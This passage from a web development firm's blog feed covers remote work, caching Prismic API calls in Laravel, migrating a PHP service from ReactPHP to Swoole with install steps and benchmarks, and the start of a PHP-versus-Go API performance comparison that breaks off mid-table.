<p>In light of the Covid-19 pandemic, a lot of things changed both in our personal lives and in the way businesses function. Plenty of companies were forced to operate remotely, and this move turned out to be a serious challenge for most of them.&nbsp;There's no doubt that such a transition can strain professional connections, and that both employees and employers might need some time to adapt to their new workplace reality. However, remote work has sneaked in the web digital world long before the Coronavirus outbreak, and flattening the curve of the health crisis actually isn't its only advantage.</p>
<p>Yet, it seems that working on-site is still the corporate standard. Mainly because it's generally believed to be easier managing on-site employees, monitoring their performance and upgrading their skills. The managers in lots of companies, especially bigger ones, simply don't trust their employees enough. They're used to relying on sensor-based methods for measuring productivity - working hard is when the whole team is "heads down" on their desks, or when people are coming early to the office and leaving late. Another major concern is that the insufficient face time between remote working colleagues leads to disengagement, miscommunication, errors and inefficiencies. As a result, there are lots of companies whose infrastructures and cultures have never been suited (and are now struggling) to support working outside of the office.</p>
<p>But as off-site work is currently experiencing a sharp surge, we wonder whether it might become the new normal. Over the years, remote work has had its upward and downward trends, and the Yahoo and IBM stories is an interesting examples.&nbsp;</p>
<p>In 2013, the Yahoo's newly-hired CEO Marissa Mayer recalled their home employees, in an effort to encourage better collaboration. Nonetheless, several months later she acknowledged that productivity is actually better when employees are working alone (from home). Meanwhile, more than a third of staff had left in that year, and rumor has it that most remote workers actually continued telecommuting.</p>
<p>A few years later, in 2017, IBM asked thousands of employees to come back to a traditional office as company leaders believed that working together in person would foster more innovation. A shocking move, especially considering the history of the company which had been a pioneer for remote work throughout the 1980s and 1990s,&nbsp;and by 2009 40% of&nbsp;their&nbsp;global employees already worked at home (IBM reported that that policy allowed&nbsp;the company to sell off its office buildings at a gain of almost $2 billion).&nbsp;That remote reversal coincided with 20 consecutive quarters of decreasing revenue for IBM, however, by looking at the <a href="https://www.macrotrends.net/stocks/charts/IBM/ibm/revenue" target="_blank" rel="noopener noreferrer">financial reports</a> from the following years it does not look like things have changed significantly for the company. What has been confirmed though is that the elimination of&nbsp;the IBM's&nbsp;remote work policy resulted in the exodus of many senior talented employees&nbsp;who valued&nbsp;that flexibility.</p>
<h2>Working from home in Bulgaria</h2>
<p>As you might expect, the corporate perception of remote work in Bulgaria isn't much different than the global one.&nbsp;</p>
<p>Before the Covid-19 outbreak the majority of companies offered on-site jobs only, with many advertising several days a month remote option. On top of this laughably limited offer, a lot of companies actually allowed working from home only to senior employees. It is generally believed that junior employees are unable to upgrade their skills properly if they work remotely. We cannot disagree more with this perception and we'll tell you why.</p>
<p>We've hired several people without any experience and they&nbsp;have grown out to be very solid and professional web developers while working entirely remotely. There are people in our team who have started out working from their homes, and now, several years later, they are one of our&nbsp;strongest&nbsp;full-stack developers and devops.</p>
<p>While it really must be difficult for larger companies to organize their remote employees, the question is not whether telecommuting can work, but how to make it work efficiently. To put it simply, it's not about the staff, it's about the management. There's an ever growing number of tools and technologies that can help both employers and employees achieve their mutual goals.</p>
<p>Besides, numerous studies show that remote workers are happier and healthier due to their better work-life balance and that translates into increased productivity for their employer.</p>
<h2>Our experience with telecommuting</h2>
<p>As a web development company operating remotely for 12 years now, we passionately believe that remote is the new normal. So, here, we'd like to share our own experience with remote work and why we prefer keeping it that way.</p>
<p>We actually did have an office in Sofia until 2008. Then, after weighing all the pros and cons, we decided to switch to working remotely 100%. Here are some of the advantages of off-site operation:</p>
<ul>
<li>We don't waste two hours every day in commuting. So, people can instead use this time (roughly 10 hours per week per person) to relax, be with their families, friends, or do whatever makes them happy.</li>
<li>We can choose freely where to live, so we aren't forced to spend our time in crowded cities, if we don&rsquo;t want to.</li>
<li>We can concentrate better and increase our effectiveness as there aren't any of the usual distractions related to working in an office with 20 colleagues or more.</li>
<li>We make up for distance with regular communication (Slack, daily standups, project meetings, pair programming sessions, one-on-one calls). We also organize team meetings several times a year and spend some quality time together over a pint and some nice dish. Besides, some people form our team have developed cordial relationships over the years and often meet up over the weekend.</li>
<li>We also find telecommuting has done good to our communication with clients, 99% of whom are based abroad (US, Australia, elsewhere in Europe). So, we have to work remotely with their product owners, project managers, designers &amp; developers anyway. In such cases our experience in remote working is actually a big plus.</li>
</ul>
<p>In these challenging times the business will surely have to learn new ways to be flexible and this is where the companies that already have adopted remote working will have the upper hand.&nbsp;</p>]]></content:encoded>
            </item>
                    <item>
                <title>Prismic - Laravel Cache Service</title>
                <link>https://mtr-design.com/news/prismic-laravel-cache-service</link>
                <guid>https://mtr-design.com/news/prismic-laravel-cache-service</guid>
                <pubDate>Fri, 05 Jun 2020 12:00:00 +0000</pubDate>
                <dc:creator>Valentin Kirilov</dc:creator>
                <description><![CDATA[<p>Earlier this year one of our clients approached us requesting help for one of his projects. He reported that one particular website is loading very slow compared to the majority of the sites in the network and this is badly affecting their reach and profit. Of course, we as a team interested in solving such cases, accepted the task and started to analyze the issue.</p>]]></description>
                <content:encoded><![CDATA[<h2>Prerequisites</h2>
<p>The project represents a simple presentation website built with Laravel and is served by a shared web hosting. The interesting part is that this site is not working with the standard approach for SQL database, it doesn&rsquo;t store any local data. All of the content data is fetched from <a href="https://prismic.io/" target="_blank" rel="noopener noreferrer">Prismic</a> instead. Prismic is a SaaS tool for editing online content, part of the recent headless CMS trend. It sounded that this was not a design decision made by the previous developers but a request from the clients (or their UX guys) so they can manage their content easily.</p>
<h2>First impressions</h2>
<p>We quickly confirmed that there&rsquo;s a real issue here - the first page load of the site took a lot of time, more particularly 13.38s. Yes, the browser cached some of the resources and on the next attempt the loading time was reduced to 8.29s but yet it&rsquo;s not acceptable. And we have to keep in mind that the most important is the first touch of the visitors with this site which still takes insanely long time (of course if they decide to wait and not close the tab in the meantime).</p>
<p><img src="/storage/var/images/news/prismic-laravel-cache-service/iae-global-performance-initial.png" alt="Initial Page load stats from the browser's network info" width="980" height="306" /></p>
<h2>Time to analyze the metrics</h2>
<p>We have some experience with website optimizations since we had to do this for multiple projects over the years. That's why we thought that the main issue is related to the huge amount of requests for the different assets of the site (styles, scripts, images, etc.). Because of this our first step in analyzing this issue was to see what the Google <a href="https://developers.google.com/speed/pagespeed/insights/" target="_blank" rel="noopener noreferrer">PageSpeed Insights</a> tool would say about it. And the results were... Let&rsquo;s just say bad.</p>
<p><img src="/storage/var/images/news/prismic-laravel-cache-service/iae-global-google-insights-score.png" alt="Google PageSpeed Insights" width="754" height="829" /></p>
<p>The overall score of 24 generally speaks for itself but at least we can take a look at the different parts of the report and focus on the main issues. We were surprised to see that the assets were not part of the problem at all (as we initially thought). Even more, they were well optimized and we wouldn&rsquo;t benefit anything if we tried to compress them. So we focussed on the other parts of the report, the initial page load in particular. We can see that the first response from the server takes much longer than usual and we can notice this on both the PageSpeed Insights report and the browser&rsquo;s network waterfall.</p>
<h2>Invest in hardware</h2>
<p>We knew that the website is served by a shared hosting and potentially it may cause the huge page load time (low cost server, geo location, etc.). We decided to run the website on one of our servers and set up a staging environment.</p>
<blockquote>
<p>Note for the specs gurus: We use an OVH server with 8 cores Intel(R) Xeon(R) CPU E3-1270 v6 @ 3.80GHz, 64 GB of RAM and NVMs for the storage.</p>
</blockquote>
<p>The results of this action were immediate, we managed to reduce the page load time with up to 80% (7.44s) simply by changing the server. It was the first step but it was not enough. Such load time is still not acceptable and may lead to bad business results so we moved on with our analysis.</p>
<p><img src="/storage/var/images/news/prismic-laravel-cache-service/iae-global-performance-staging.png" alt="Page Load time after changing the server" width="979" height="279" /></p>
<h2>Step up further into performance analysis</h2>
<p>We live in times when if we have a software problem we try to fix it by maxing up the hardware... and this is exactly what we did in the current case. But this approach doesn&rsquo;t fix the real problem itself, it simply bypasses the issues and masks them out until we run out of possibilities to increase the hardware anymore. As we already noticed, the response time of the first request to the server is unusually long which means that we still have some problems there. But since we already improved the performance once by changing the server this means that the rest of the issues reside somewhere in the codebase. We have a lot of Laravel projects, much more complex and resource consuming than this site and yet we can&rsquo;t compare the bad results to any other of them. We had to move back to investigate the real issue.</p>
<p>It took some time to debug the project, toggled some of the used services in order to measure possible differences in the page load time. The project is not that big and actually the list of 3rd party services was not that long but unfortunately we couldn&rsquo;t notice any significant improvements yet. This led us to dig deeper into the workflow of the app, we started to measure the execution time of each step and finally we found something disturbing which we initially ignored.</p>
<p>As we already said, this site is not using a local database to store all of the data, yet the templates are not hard coded with static content. All the data is stored on the Prismic servers and in order to render a specific page the website has to fetch it via their API (rings a bell, right?). They provide a wide range of tools and libraries for accessing their API according to your platform. There is a well documented official <a href="https://prismic.io/docs/php/getting-started/with-the-php-starter-kit" target="_blank" rel="noopener noreferrer">PHP starter kit</a> which is integrated in the current project so the communication with the API is served via a valid source. Actually it&rsquo;s used more than enough, there are pages which make multiple requests to the API in order to fetch all of the required data. Also there are some shared requests which are made from every page in order to obtain some general layout details (header, footer, etc). The results are clear and we already observed them in the graphs above, all of those requests to the 3rd party API cost time and since we&rsquo;re not using a modern SPA we have to wait to collect all of the responses before we start to render the page.</p>
<h2>Let&rsquo;s cache the results</h2>
<p>We make a lot of requests to the Prismic API, and some of them are repetitive for every page. Laravel comes with great <a href="https://laravel.com/docs/master/cache" target="_blank" rel="noopener noreferrer">Cache</a> service integration so we decided to give it a try and create a wrapper of the Prismic service. The idea was simple, when we need some data first check whether it&rsquo;s already present in the cache, otherwise send a request to the API and save the response.</p>
<pre class="language-php"><code>function query($predicates, array $options = [])
{
    $cacheKey = $this-&gt;getCacheKey($predicates, $options);
      
    if (Cache::has($cacheKey)) {
       return Cache::get($cacheKey);
    }
 
    $this-&gt;init();
 
    $query = Cache::rememberForever($cacheKey, function () use ($predicates, $options) {
        return $this-&gt;api-&gt;query($predicates, $options);
    });
 
    return $query;
}</code></pre>
<p>As you can see in the code snippet above we decided to keep the names of the standard Prismic Service methods and input parameters. This way we make our service more convenient so you can integrate it easily with your existing codebase and also don&rsquo;t have to learn how to use it, you just have to rely on the official docs. There is no dark magic under the hood, we simply use the Cache service. The only decision which we had to make is how to generate the cache keys because we have to identify somehow the different responses. The answer may be straightforward, since every response belongs to a specific request URI but the current implementation of the Prismic service doesn&rsquo;t allow you to access the request URI before the whole object is constructed and the actual request is sent. This option is not suitable for our use-case because we have to check the store before the dispatch of the actual request.&nbsp;</p>
<pre class="language-php"><code>function getCacheKey($predicates, array $options = []): string
{
   $cacheKey = 'prismic:';
      
   if (!is_array($predicates)) {
       $predicates = [$predicates];
   }
 
   foreach($predicates as $predicate) {
       $cacheKey .= $predicate-&gt;name . ':' . $predicate-&gt;fragment . ':' . implode(',', $predicate-&gt;args) . ';';
   }
 
   foreach($options as $key =&gt; $option) {
      $cacheKey .= $key . ':' . $option . ';';
   }
 
   return $cacheKey;
}</code></pre>
<p>Our workaround includes all of the details which we have in order to construct the request query and we simply put them all in use. The cache key represents a simple string with concatenated predicates and options, the same which are provided as a query parameters to the request later. Also you may notice that we prefix the cache key with a simple keyword, it&rsquo;s due to Laravel's <a href="https://laravel.com/docs/master/cache#cache-tags" target="_blank" rel="noopener noreferrer">Cache Tags</a> limitations. This way we insure the identity of every single outgoing request and once we receive a response it will be stored for future use.</p>
<p>The only thing left to do is to integrate the new cacheable Prismic service with the existing website and check whether the results are satisfying enough (drum rolls). Well, as we already mentioned that we kept the names of the standard Prismic API library the only thing which we had to do is to change which service to be used across the whole codebase.</p>
<h2>Refresh the browser and check the results again</h2>
<p>The page appeared immediately! Yes, you guessed it, those changes turned out to be a tremendous improvement of the overall performance. We can measure up to 500% performance improvement with our new page load of 1.23s. These stats are even more impressive compared to the initial situation, the site loads up to 12 times faster than before (which is up to 987% if we stick to the same metric). Also, you can notice that now it costs 347ms to receive the first response from the server, where are the actual changes we made. We can mark this job as done and be honest that we couldn&rsquo;t imagine that we would be so satisfied with the final results.</p>
<p><img src="/storage/var/images/news/prismic-laravel-cache-service/iae-global-performance-cache.png" alt="Page Load time after our cache integration" width="974" height="276" /></p>
<p>We&rsquo;re glad of our achievement, so we share it with you. Here is a <a href="https://gist.github.com/valkirilov/a5a7f3d32e7cbf3d19939a3bdd3b23f3" target="_blank" rel="noopener noreferrer">gist</a> with our Prismic Service with cache support, ready to be used in your project. Let us know if you find it useful and how big is the impact of the changes to your application. Stay tuned for more puzzles and our solutions.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Migrating from ReactPHP to Swoole</title>
                <link>https://mtr-design.com/news/migrating-from-reactphp-to-swoole</link>
                <guid>https://mtr-design.com/news/migrating-from-reactphp-to-swoole</guid>
                <pubDate>Thu, 19 Dec 2019 11:26:00 +0000</pubDate>
                <dc:creator>Valentin B</dc:creator>
                <description><![CDATA[<p>Not so long time ago we posted about ReactPHP and the application we made using it. We were so pleased working with ReactPHP that for some time we thought that we found the best solution for us so far. But the last thing one can say about our job as developers is that we lack dynamics. Our field is frenzy and ever changing and in order to thrive we need to observe and try everything that&rsquo;s new and promising. And sometimes it turns out we found a gem. Soon after we finished our project with ReactPHP we came across something new and even faster than ReactPHP &ndash; Swoole.&nbsp;</p>]]></description>
                <content:encoded><![CDATA[<h2>What is the reason?</h2>
<p>Not so long time ago we posted about <a href="/news/reactphp" title="ReactPHP">ReactPHP and the application we made using it</a>. We were so pleased working with ReactPHP that for some time we thought that we found the best solution for us so far.</p>
<p>But the last thing one can say about our job as developers is that we lack dynamics. Our field is frenzy and ever changing and in order to thrive we need to observe and try everything that&rsquo;s new and promising. And sometimes it turns out we found a gem. Soon after we finished <a href="/news/reactphp" title="ReactPHP">our project with ReactPHP</a> we came across something new and even faster than ReactPHP&nbsp;&ndash; Swoole.&nbsp;&nbsp;</p>
<p><a href="https://github.com/swoole/swoole-src" target="_blank" rel="noopener noreferrer" title="Swoole">Swoole</a>&nbsp;is an event-driven asynchronous &amp; coroutine-based concurrency networking communication engine with high performance written in C and C++ for PHP. And below is the list of its functionalities and advantages as given by the Swoole team themselves:</p>
<ul>
<ul>
<li>Purely C-compiled, with extremely powerful performance;</li>
<li>Simple and easy to use, development-efficient;</li>
<li>Event-driven, non-blocking asynchronous processing;</li>
<li>Supporting millions of concurrent TCP connections;</li>
<li>TCP/UDP/UnixSock;</li>
<li>Server/client;</li>
<li>Supporting asynchronous/synchronous/coroutine;</li>
<li>Supporting multiprocessing/multi-threading;</li>
<li>CPU affinity/daemon process;</li>
<li>Supporting IPv4/IPv6 networks.</li>
</ul>
</ul>
<p>At the beginning I thought that Swoole was just like ReactPHP, but coded as an extension. After I looked deeper I realized that the work the Swoole team did was much more than I had imagined. It wasn&rsquo;t only the asynchronous loop &ndash; the engine had and supported almost everything one needed to build the fastest application! An officially provided PHP network framework, extended and developed based on Swoole, supports HTTP, FastCGI, WebSocket, FTP, SMTP, RPC and other network protocols. The framework manages to make the process of many master and worker processes just as seamless as a few lines of callback code.</p>
<h2>How to install it<span style="white-space: pre;"> </span></h2>
<p>You can install Swoole in a few different ways &ndash; by compiling it and as a PECL package. Of course you need PHP 7.0.0 or a later version installed on the server (the higher the version, the better the performance).</p>
<pre>apt install php7.0-dev</pre>
<h3>1. Installation</h3>
<p>a. Compile</p>
<pre>git clone https://github.com/swoole/swoole-src.git<br />cd swoole-src<br />phpize<br />./configure<br />make &amp;&amp; make install</pre>
<p>Don&rsquo;t forget to add extension=swoole.so to your php.ini.</p>
<p>b. PECL</p>
<pre>pecl install swoole</pre>
<h3>2. Configuration</h3>
<p>As mentioned above after compiling&nbsp;the package and installing it to the system, you have to add a new line extension=swoole.so to php.ini to enable the Swoole extension.</p>
<pre>echo "extension=swoole.so" /etc/php/7.0/mods-available/swoole.ini<br />ln -s /etc/php/7.0/mods-available/swoole.ini /etc/php/7.0/cli/conf.d/10-swoole.ini</pre>
<h3>3. Testing</h3>
<p>Okay, we have Swoole installed on our system! Let&rsquo;s write our first Hello world code and test it to see if it&rsquo;s working correctly.</p>
<pre>cd /tmp/<br />cat &lt;<eof> swoole.php</eof><br /><!--?php <br ?-->&nbsp; &nbsp; \$http = new swoole_http_server('127.0.0.1', 9501);<br />&nbsp; &nbsp; \$http-&gt;on('start', function (\$server) {<br />&nbsp; &nbsp; &nbsp; &nbsp; echo "Start swoole server";<br />&nbsp; &nbsp; });<br />&nbsp; &nbsp; \$http-&gt;on("request", function (\$request, \$response) {<br />&nbsp; &nbsp; &nbsp; &nbsp; \$response-&gt;header("Content-Type", "text/plain");<br />&nbsp; &nbsp; &nbsp; &nbsp; \$response-&gt;end("Hello World\n");<br />&nbsp; &nbsp; });&nbsp;<br /><br />&nbsp; &nbsp; \$http-&gt;start();<br />EOF<br /><br />php swoole.php<br />curl 127.0.0.1:9501<br />rm swoole.php</pre>
<div>And voila! You will see Hello world response in your console.</div>
<h3>4. System Configuration</h3>
<p>Now let's create the logs directory:</p>
<pre>mkdir /var/log/swoole<br />chown vagrant: vagrant /var/log/swoole</pre>
<h3>5. Startup Script</h3>
<p>We can easily create a startup script which will give us a good way to start, stop or restart the Swoole server, like this:</p>
<pre>cat &lt;<eof> /etc/systemd/system/swoole.service</eof><br />[Unit]<br />Description=Swoole Service<br />After=network.target<br />&nbsp;<br />[Service]<br />Type=forking<br />User=vagrant<br />Group=vagrant<br />&nbsp;<br />ExecStart=/usr/bin/php /<path-to-swoole>/swoole.php</path-to-swoole><br />ExecStop=/bin/kill \$MAINPID<br />ExecReload=/bin/kill -USR1 \$MAINPID<br />&nbsp;<br />RuntimeDirectory=swoole<br />RuntimeDirectoryMode=0750<br />PIDFile=/var/run/swoole/swoole.pid<br />[Install]<br />WantedBy = multi-user.target<br />EOF<br />&nbsp;<br />systemctl enable swoole.service<br />systemctl start swoole.service</pre>
<p>{{ newsletter }}</p>
<h2>A few easy changes to get Swoole LIVE</h2>
<p>There are a few pieces of code that we needed to change in order to make the Swoole core working with our application code which as you remember had its ReactPHP core. Please keep in mind that each application is unique, with different structure so in our case the changes that we did were really tiny.</p>
<p>So, what were our differences &ndash; the main one is the server initialization:</p>
<pre>/** Create the server **/<br />$server = new swoole_http_server('127.0.0.1', 18101, SWOOLE_BASE);<br />&nbsp;<br />$server-&gt;set(array(<br />&nbsp; 'worker_num' =&gt; 4,<br />&nbsp; 'reactor_num' =&gt; 16,<br />&nbsp; 'daemonize' =&gt; 1,<br />&nbsp; 'max_request' =&gt; 0,<br />&nbsp; 'dispatch_mode' =&gt; 1,<br />&nbsp; 'group' =&gt; 'vagrant',<br />&nbsp; 'log_level'=&gt; 0,<br />&nbsp; 'log_file' =&gt; '/var/log/swoole/swoole.log',<br />&nbsp; 'pid_file' =&gt; '/var/run/swoole/swoole.pid'<br />));<br />&nbsp;<br />$server-&gt;start();</pre>
<p>The important settings that will help us have a good asynchronous oroutine-based concurrency networking communication engine are the following:</p>
<p>worker_num - The number of the worker process. If the code of logic is asynchronous and non-blocking, set the worker_num to the value from one times to four times of CPU cores.</p>
<p>reactor_num - This is the number of the reactor thread. In general, the number of the reactor thread is between one and four times&nbsp;the CPU cores.</p>
<p>daemonize - If the value of daemonize is more than 1, the Swoole server will be daemonized.&nbsp;For programs which we need to have running for long time this configuration&nbsp;must be enable - in our case it&nbsp;should be set to true. If the daemonize option&nbsp;is&nbsp; enabled, the standard output and the errors&nbsp;from the program will be redirected to log_file, otherwise the standard output and errors&nbsp;from the program will be&nbsp;passed&nbsp;to /dev/null.</p>
<p>max_request - If you want to accept unlimited connections you should set this option to 0.</p>
<p>And here is an interesting function that you can use to get the numbers of your server CPU cores, it&nbsp;can ease your work a lot:</p>
<pre>function getProcessorCoresNumber() {<br />&nbsp; $command = "cat /proc/cpuinfo | grep processor | wc -l";<br />&nbsp; return&nbsp; (int) shell_exec($command);<br />}</pre>
<p>The second difference was meant to create a new router function.</p>
<h2>Benefits</h2>
<p>So let&rsquo;s compare the results between PeactPHP and Swoole based on a simple benchmark on the same server with identical worker settings, and of course &ndash; with the same PHP structure and functionality. The only thing that&rsquo;s different is the core:</p>
<p><strong>Swoole:</strong></p>
<pre>Running 10s test @ http://swoole.app/ping/<br />&nbsp; 4 threads and 400 connections<br />&nbsp; Thread Stats&nbsp; &nbsp;Avg&nbsp; &nbsp; &nbsp; Stdev&nbsp; &nbsp; &nbsp;Max&nbsp; &nbsp;+/- Stdev<br />&nbsp; &nbsp; Latency&nbsp; &nbsp; 52.94ms&nbsp; &nbsp;45.83ms 246.61ms&nbsp; &nbsp;80.01%<br />&nbsp; &nbsp; Req/Sec&nbsp; &nbsp; &nbsp;2.21k&nbsp; &nbsp; &nbsp;1.77k&nbsp; &nbsp; 5.57k&nbsp; &nbsp; 71.00%<br />&nbsp; 87826 requests in 10.02s, 15.83MB read<br />Requests/sec:&nbsp; &nbsp;8766.80<br />Transfer/sec:&nbsp; &nbsp; &nbsp; 1.58MB</pre>
<p><strong>ReactPHP:</strong></p>
<pre>Running 10s test @ http://reactphp.app/ping/<br />&nbsp; 4 threads and 400 connections<br />&nbsp; Thread Stats&nbsp; &nbsp;Avg&nbsp; &nbsp; &nbsp; Stdev&nbsp; &nbsp; &nbsp;Max&nbsp; &nbsp;+/- Stdev<br />&nbsp; &nbsp; Latency&nbsp; &nbsp;202.68ms&nbsp; 261.44ms&nbsp; &nbsp;1.69s&nbsp; &nbsp; 88.96%<br />&nbsp; &nbsp; Req/Sec&nbsp; &nbsp;635.46&nbsp; &nbsp; &nbsp;85.47&nbsp; &nbsp; &nbsp;0.91k&nbsp; &nbsp; 75.94%<br />&nbsp; 25283 requests in 10.05s, 4.00MB read<br />&nbsp; Socket errors: connect 0, read 0, write 0, timeout 82<br />Requests/sec:&nbsp; &nbsp;2516.24<br />Transfer/sec:&nbsp; &nbsp; 407.90KB</pre>
<p>As you can see the latency is extremely low for Swoole. Also the requests that ReactPHP can handle on this server are almost four times less than what Swoole can handle.</p>
<p>Btw when I run the benchmark which is provided on the Swoole page the results are incredible! Such numbers cannot&nbsp;be seen with ReactPHP:</p>
<pre>Running 10s test @ http://127.0.0.1:9501/<br />&nbsp; 4 threads and 400 connections<br />&nbsp; Thread Stats&nbsp; &nbsp;Avg&nbsp; &nbsp; &nbsp; Stdev&nbsp; &nbsp; &nbsp;Max&nbsp; &nbsp;+/- Stdev<br />&nbsp; &nbsp; Latency&nbsp; &nbsp; &nbsp;4.46ms&nbsp; &nbsp; 4.77ms&nbsp; 40.16ms&nbsp; &nbsp;84.73%<br />&nbsp; &nbsp; Req/Sec&nbsp; &nbsp; 29.46k&nbsp; &nbsp; &nbsp;5.90k&nbsp; &nbsp;57.66k&nbsp; &nbsp; 70.28%<br />&nbsp; 1170955 requests in 10.10s, 195.42MB read<br />Requests/sec: 115956.06<br />Transfer/sec:&nbsp; &nbsp; &nbsp;19.35MB</pre>
<p>Of course we&rsquo;re still trying to improve our code so the application could probably work even faster.</p>
<h2>Final words</h2>
<p>Swoole has components for different purposes: Server, Task Worker, Timer, Event and Async IO. With these components, Swoole allows you to build many features like web servers, chat messaging servers, game servers and almost anything you want.</p>
<p>Maybe the top advantage of Swoole compared to other complex programming languages, often used on the servers, is that it is very scalable. The event-based network layer in Swoole utilizes the underlying epoll/kqueue implementation in order to handle as far as several thousand connections.</p>]]></content:encoded>
            </item>
                    <item>
                <title>PHP or Go</title>
                <link>https://mtr-design.com/news/php-or-go</link>
                <guid>https://mtr-design.com/news/php-or-go</guid>
                <pubDate>Thu, 20 Dec 2018 08:02:00 +0000</pubDate>
                <dc:creator>Atanas M</dc:creator>
                <description><![CDATA[<p dir="ltr">Answering this question depends on your demands, but in case you need high performance, the choice is clear.</p>]]></description>
                <content:encoded><![CDATA[<p>First, let&rsquo;s shed some light on our own experience. We had to create a RESTful API for an ad platform (which we are actively developing in the last 3 years) which is currently handling around 50 millions ad events (impressions and clicks) per day. The dev team included two seasoned PHP backend developers, the platform itself is also developed with PHP, so it made sense to decide to stick to that and write the APi in PHP.</p>
<p>As you are aware PHP is an easy language, relatively fast and provides plenty of useful tools. So we built our API in PHP and were pleased with it - it worked, looked nice but still we decided to give Go a try. You may wonder what was the reason for our decision. The answer is we had some concerns about the performance of the API and were looking for alternatives. Although we had no previous experience with Go we decided to use this language and to rewrite the API in it.</p>
<p>My personal opinion about Go is that it is an interesting language, similar to C but without too many integrated tools. On the other hand it has plenty of packages and libraries. It&rsquo;s strictly typed language and if your previous experience has nothing to do with such kind of programming languages than you may have a hard time. But strict as it is Go teaches you some discipline.</p>
<p>Our first job was to find some useful packages for the REST service. The requirements the package had to meet were speed and to have some rate limiters.</p>
<p>After doing some research and initial tests we decided to try 3 packages &ndash; Chi (<a href="https://github.com/go-chi/chi">https://github.com/go-chi/chi</a>), Mux (<a href="https://github.com/gorilla/mux">https://github.com/gorilla/mux</a>) and Gin (<a href="https://github.com/gin-gonic/gin">https://github.com/gin-gonic/gin</a>). They are quite similar, but Gin has a lots of features. Since we looked for performance we decided to make a simple test with response static JSON using 100000 request and 100 concurrent connections.</p>
<p><strong>The results were as follows:</strong></p>
<table>
<thead>
<tr>
<th>Operation/Data</th>
<th>Mux</th>
<th>Gin</th>
<th>Chi</th>
</tr>
</thead>
<tbody>
<tr>
<td>Time taken for tests</td>
<td>6.952 seconds</td>
<td>9.334 seconds</td>
<td>7.142 seconds</td>
</tr>
<tr>
<td>Requests per second</td>
<td>14384.26 [#/sec]</td>
<td>10712.98</td>
<td>14000.81 [#/sec]</td>
</tr>
<tr>
<td>Time per request</td>
<td>6.952 [ms]</td>
<td>9.334 [ms]</td>
<td>7.142 [ms]</td>
</tr>
<tr>
<td>Time per request</td>
<td>0.070 [ms]</td>
<td>0.093 [ms]</td>
<td>0.071 [ms]</td>
</tr>
<tr>
<td colspan="4"><strong>Percentage of the requests served within a certain time (ms)</strong></td>
</tr>
<tr>
<td>50%</td>
<td>7</td>
<td>8</td>
<td>7</td>
</tr>
<tr>
<td>66%</td>
<td>7</td>
<td>10</td>
<td>7</td>
</tr>
<tr>
<td>75%</td>
<td>7</td>
<td>11</td>
<td>8</td>
</tr>
<tr>
<td>80%</td>
<td>8</td>
<td>12</td>
<td>8</td>
</tr>
<tr>
<td>90%</td>
<td>9</td>
<td>15</td>
<td>9</td>
</tr>
<tr>
<td>95%</td>
<td>10</td>
<td>18</td>
<td>11</td>
</tr>
<tr>
<td>98%</td>
<td>12</td>
<td>22</td>
<td>13</td>
</tr>
<tr>
<td>99%</td>
<td>14</td>
<td>25</td>
<td>15</td>
</tr>
<tr>
<td>100%</td>
<td>31</td>
<td>48</td>
<td>33</td>
</tr>
</tbody>
</table>
<p>Looking at the test results our choice was to go with Mux &ndash; it was a bit faster than Chi and nearly two times faster than Gin.</p>
<p>Now the trickiest part of the work was ahead us - we had to write the API.</p>
<p>The Go's package system is a little bit strange to me, and we were as well not certain how to structure the project. Looking at it now I assume we could have used different approach but even the way it turned out the design looks nice.</p>
<p>When we were ready with our Go RESTful API, we were eager to perform tests to compare it with PHP's performance. In the beginning the results were almost the same. That was quite a surprise, because the test on the local machine showed different values. We started looking for the reason behind these results and in the end we found it. We use Nginx&nbsp;as reverse proxy and it has some limits in configuration. Hence our first results were not what we expected them to be. So we resolved that issue and did the test one more time.</p>
<p><strong>For the test we used 1000 requests and 100 concurrency:</strong></p>
<table>
<thead>
<tr>
<th>Operation/Value</th>
<th>Nginx+PHP+FMP</th>
<th>Nginx+Go</th>
<th>Go as Server</th>
</tr>
</thead>
<tbody>
<tr>
<td>Time taken for tests</td>
<td>1.336 seconds</td>
<td>0.940 seconds</td>
<td>0.784 seconds</td>
</tr>
<tr>
<td>Complete requests</td>
<td>1000</td>
<td>1000</td>
<td>1000</td>
</tr>
<tr>
<td>Failed requests</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Requests per second</td>
<td>748.26 [#/sec]</td>
<td>1064.02 [#/sec]</td>
<td>1275.25 [#/sec]</td>
</tr>
<tr>
<td>Time per request</td>
<td>133.643 [ms]</td>
<td>93.983 [ms]</td>
<td>78.416 [ms]</td>
</tr>
<tr>
<td>Time per request</td>
<td>1.336 [ms]</td>
<td>0.940 [ms]</td>
<td>0.784 [ms]</td>
</tr>
<tr>
<td>Transfer rate</td>
<td>1117.11 [Kbytes/sec]</td>
<td>1352.07 [Kbytes/sec]</td>
<td>1577.46 [Kbytes/sec]</td>
</tr>
</tbody>
</table>
<p><strong>Although there was a striking difference, we decided to try with more queries - 10000 requests and 100 concurrency:</strong></p>
<table>
<thead>
<tr>
<th>Operation/Value</th>
<th>Nginx+PHP+FMP</th>
<th>Nginx+Go</th>
<th>Go as server</th>
</tr>
</thead>
<tbody>
<tr>
<td>Time taken for tests</td>
<td>11.364 seconds</td>
<td>9.068 seconds</td>
<td>7.414 seconds</td>
</tr>
<tr>
<td>Complete requests</td>
<td>10000</td>
<td>10000</td>
<td>10000</td>
</tr>
<tr>
<td>Failed requests</td>
<td>1317</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Requests per second</td>
<td>879.94 [#/sec]</td>
<td>1102.74 [#/sec]</td>
<td>1348.78 [#/sec]</td>
</tr>
<tr>
<td>Time per request</td>
<td>113.645 [ms]</td>
<td>90.683 [ms]</td>
<td>74.141 [ms]</td>
</tr>
<tr>
<td>Time per request</td>
<td>1.136 [ms]</td>
<td>0.907 [ms]</td>
<td>0.741 [ms]</td>
</tr>
<tr>
<td>Transfer rate</td>
<td>1313.70 [Kbytes/sec]</td>
<td>1400.80 [Kbytes/sec]</td>
<td>1668.46 [Kbytes/sec]</td>
</tr>
</tbody>
</table>
<p><strong>At the higher load the PHP started to return failed requests, so we did another test without Nginx&nbsp;using only Go. This time we used 10000 requests and 1000 concurrency for the test and the results were interesting:</strong></p>
<table>
<thead>
<tr>
<th>Operation/Value</th>
<th>Go as server</th>
</tr>
</thead>
<tbody>
<tr>
<td>Time taken for tests</td>
<td>5.819 seconds</td>
</tr>
<tr>
<td>Complete requests</td>
<td>10000</td>
</tr>
<tr>
<td>Failed requests</td>
<td>0</td>
</tr>
<tr>
<td>Requests per second</td>
<td>1718.50 [#/sec]</td>
</tr>
<tr>
